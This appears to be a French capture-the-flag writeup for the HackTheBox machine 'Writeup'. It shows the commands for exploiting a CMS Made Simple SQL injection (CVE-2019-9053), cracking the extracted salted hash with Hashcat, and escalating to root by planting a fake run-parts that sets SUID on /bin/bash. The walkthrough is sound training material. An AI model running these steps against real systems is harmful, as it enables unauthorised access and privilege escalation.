← Retour au carnet HTB · Linux · Easy · n°03

Writeup

CMS Made Simple vulnérable à une SQLi aveugle (CVE-2019-9053). Hash salé cracké avec Hashcat. Escalade via PATH hijacking sur le groupe staff.

Date
25 jan. 2024
IP
10.10.10.138
OS
Debian
Plateforme
HackTheBox
CMS Made SimpleCVE-2019-9053SQLiHashcatPATH hijackingpspyLinux
Easy
↳ pspy : l'outil qu'on oublie et qui change tout.
i.

robots.txt & CMS Made Simple.

Le fichier robots.txt révèle le répertoire /writeup/. Le code source de la page contient le générateur : CMS Made Simple ≤ 2019.

CVE-2019-9053 (CVSS 9.8) : SQLi aveugle time-based sur le paramètre de recherche, sans authentification.
python cve.py -u http://10.10.10.138/writeup/ --crack -w best110.txt
# → Username: jkr | Hash: 62def4866937f08cc13bab43bb14e6f7 | Salt: 5a599ef579066807
ii.

Hash salé → SSH.

Hash md5($salt.$pass) cracké avec Hashcat mode 20.

echo '62def4866937f08cc13bab43bb14e6f7:5a599ef579066807' > hash.txt
hashcat -m 20 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
# → jkr:raykayjay9
SSH jkr obtenu. groups jkr → membre du groupe staff (droits d'écriture dans /usr/local/bin).
iii.

PATH hijacking via pspy.

pspy observe qu'à chaque connexion SSH, root exécute run-parts via un PATH commençant par /usr/local/bin.

Le groupe staff peut écrire dans /usr/local/bin, on y place un faux run-parts qui définit le SUID bit sur /bin/bash.

echo -e '#!/bin/bash
chmod u+s /bin/bash' > /usr/local/bin/run-parts
chmod +x /usr/local/bin/run-parts
# Reconnecter SSH → root exécute notre script
/bin/bash -p  # euid=0(root)
root via PATH hijacking. euid=0 confirmé.

Chaîne d'attaque.

1
Découverte
robots.txt → /writeup/ → CMS Made Simple
2
CVE-2019-9053
SQLi aveugle → hash salé jkr
3
Cracking
Hashcat mode 20 → raykayjay9 → SSH
4
Énumération locale
groupe staff → /usr/local/bin writable
5
pspy monitoring
run-parts exécuté par root à chaque SSH
6
PATH hijacking
Fake run-parts → SUID bash → root
Note terrain

La leçon de cette machine : surveiller les processus avec pspy est souvent plus révélateur qu'un scan statique. Le PATH hijacking fonctionne parce que root fait confiance à un répertoire accessible en écriture, une subtilité que les scanners automatiques ratent facilement.